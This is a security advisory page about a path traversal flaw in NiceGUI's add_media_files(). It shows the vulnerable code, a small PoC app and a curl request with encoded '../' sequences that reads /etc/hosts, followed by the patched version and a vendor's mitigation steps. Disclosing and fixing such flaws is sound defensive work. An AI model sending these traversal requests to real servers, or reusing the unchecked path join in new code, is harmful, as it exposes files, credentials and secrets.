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🐍 PyPI

GHSA-hxp3-63hc-5366

HIGH

NiceGUI has a path traversal in app.add_media_files() allows arbitrary file read

Also known asCVE-2025-66645
Published
Dec 9, 2025
Updated
Feb 3, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
1.0%probability of exploitation in next 30 days
Lower Risk57th percentile+0.21%
0.26%0.71%1.16%1.61%0.9%1.0%Jan 26Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐍nicegui

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A directory traversal vulnerability in NiceGUI's App.add_media_files() allows a remote attacker to read arbitrary files on the server filesystem.

Details

Hello, I am Seungbin Yang, a university student studying cybersecurity. While reviewing the source code of the repository, I discovered a potential vulnerability and successfully verified it with a PoC.

The App.add_media_files(url_path, local_directory) method allows users to serve media files. However, the implementation lacks proper path validation.

def add_media_files(self, url_path: str, local_directory: Union[str, Path]) -> None:
    @self.get(url_path.rstrip('/') + '/{filename:path}')
    def read_item(request: Request, filename: str, nicegui_chunk_size: int = 8192) -> Response:
        filepath = Path(local_directory) / filename
        if not filepath.is_file():
            raise HTTPException(status_code=404, detail='Not Found')
        return get_range_response(filepath, request, chunk_size=nicegui_chunk_size)

Root Cause:

  1. The {filename:path} parameter accepts full paths, including traversal sequences like ../.
  2. The code simply joins local_directory and filename without checking if the result is still inside the local_directory.
  3. There is no path sanitization or boundary check.

Consequence: An attacker can use .. to access files outside the intended directory. If the application has permission, sensitive files (e.g., /etc/hosts, source code, config files) can be exposed.

POC

  1. Create poc.py:
# poc.py
from pathlib import Path
from nicegui import app, ui

MEDIA_DIR = Path(__file__).parent / 'media'
MEDIA_DIR.mkdir(exist_ok=True)

# Expose local "media" directory at /media
app.add_media_files('/media', MEDIA_DIR)

@ui.page('/')
def index():
    ui.label('NiceGUI media PoC')

ui.run(port=8080, reload=False)
  1. Run the application: python3 poc.py

  2. Exploit with curl: Use URL-encoded dots (%2e) to bypass client-side checks. curl -v "http://localhost:8080/media/%2e%2e/%2e%2e/%2e%2e/etc/hosts"

Result:

The HTTP status is 200 OK, and the response body contains the contents of the server’s /etc/hosts file.

I have attached a screenshot of the successful exploitation below. As shown in the image, the content of /etc/hosts displayed via cat matches the output received from the curl request perfectly.

<img width="1728" height="1078" alt="POC screenshot" src="https://github.com/user-attachments/assets/6c1be75b-6be2-4372-90df-55042c1e4775" />

Impact

Any NiceGUI application that calls app.add_media_files() on a URL path reachable by an attacker is affected. An unauthenticated remote attacker can read sensitive files outside the intended media directory, potentially exposing:

•Application source code and configuration files •Credentials, API keys, and secrets •Operating system configuration files (e.g., /etc/passwd, /etc/hosts)

This is my first github vulnerability report, so I would appreciate your understanding regarding any potential shortcomings. If you require any further information or clarification, please feel free to contact me at [email protected].

Thank you.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIniceguiall versions3.4.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nicegui. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update nicegui to 3.4.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-hxp3-63hc-5366 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-hxp3-63hc-5366 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-hxp3-63hc-5366. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A directory traversal vulnerability in NiceGUI's `App.add_media_files()` allows a remote attacker to read arbitrary files on the server filesystem. ### Details Hello, I am Seungbin Yang, a university student studying cybersecurity. While reviewing the source code of the repository, I discovered a potential vulnerability and successfully verified it with a PoC. The `App.add_media_files(url_path, local_directory)` method allows users to serve media files. However, the implementation lacks proper path validation. ```python def add_media_files(self, url_path: str, local_directory
O3 Security · Impact-Aware SCA

Is GHSA-hxp3-63hc-5366 in your dependencies?

O3 detects GHSA-hxp3-63hc-5366 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.